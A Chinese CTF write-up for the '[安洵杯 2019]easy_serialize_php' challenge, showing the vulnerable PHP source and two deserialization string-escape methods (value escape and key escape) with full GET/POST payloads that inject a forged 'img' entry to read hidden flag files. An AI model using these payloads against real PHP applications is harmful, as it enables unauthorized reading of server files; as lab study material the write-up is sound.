BUU [安洵杯 2019]easy_serialize_php
源码如下
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }//把过滤的这些字符串替换为空 if($_SESSION){ unset($_SESSION); //如果$_SESSION已经存在就删除它。 } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); //extract() :从数组中将变量导入到当前的符号表。 if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); //将_SESSION序列化且过滤,将值赋给$serialize_info if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); } /*当get传入的f的值,也就是$function的值等于'show_image'时,就会将$serialize_info反序列化,然后将值赋给$userinfo['img']指向的文件(base64解密后)最后将会高亮显示base64的编码*/
先看了一下他的phpinfo(),flag应该就在这里。
浏览了一遍代码,可以利用反序列化字符串逃逸。从extract($_POST)传入东西修改 _SESSION[]里面的东西。
根据extract()我们可以进行变量覆盖,当我们传入SESSION[flag]=123时,¥SESSION[“user”]和¥SESSION[‘function’] 全部会消失,只剩下_SESSION[flag]=123。
我觉得SESSION数组里面的我们无法对img做手脚,不管我们有没有get传入img_path,都无法读出我们想要的文件,get传了img被改成guest_img.png,不传多了一个sha1编码。
反序列化字符逃逸一共有两种方法:一个是键值逃逸,另一个是键名逃逸
_SESSION一共有三个键值对,所以我们一共要构建三个键值对
方法一:键值逃逸
如果要只修改$_SESSION[‘function’]实现键值逃逸不可能,没有替换,比如说传入where给你替换成hacker。
所以,如果想要构建代码,只能在user的值做恶意代码然后让其被过滤,然后在function构建代码,让function构建的代码生效。
修改这两处,第一处全为被过滤字符,使过滤完后字符串自动向后解析。
第二个xxx=";s:1:"a";s:1:"b";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
可以看到,第二个xxx我构造了两个键值对和闭合,a=b,img=ZDBnM19mMWFnLnBocA==。
下图右边我选中的字符串除了xxxxxx还有23个字符。
第一个xxx=flagflagflagflagflagphp //23位
变成
a:3:{s:4:“user”;s:23:“flagflagflagflagflagphp”;s:8:“function”;s:57:“”;s:1:“a”;s:1:“b”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:6:“123123”;}
经过服务器过滤,flag和php都没了,变成
{s:4:“user”;s:23:" “;s:8:“function”;s:57:” ";s:1:“a”;s:1:“b”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;} ";s:3:“img”;s:6:“123123”;}
①user=“;s:8:“function”;s:57:” // ②a=b // ③img=ZDBnM19mMWFnLnBocA== //三个键值对不多不少。字符串我没用引号包起来。
payload: ?f=show_image //GET _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:1:"a";s:1:"b";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} //POST
将/d0g3_fllllllag进行base64编码 _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:1:"a";s:1:"b";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
方法二:键名逃逸
原理和上面一样,只不过这次被过滤的地方不是在值的位置,而是在键名的位置,然后在值的位置构造恶意代码。
先给一个payload
payload: ?f=show_image //GET _SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} //POST
由于我多传了一个¥_SESSION[“phpflag”],所以SESSION数组变成了四个键值对。
看图,flagphp被过滤后,我选中的7个字符被解析,构造了一个 ";s:48:=1 的键值对。
如果传我的payload,一共四个键值对,不多不少。
①user=guest // ②function=show_image // ③";s:48:=1 // ④img=ZDBnM19mMWFnLnBocA==
其中①②我没改变他们。
剩下的步骤同解法一。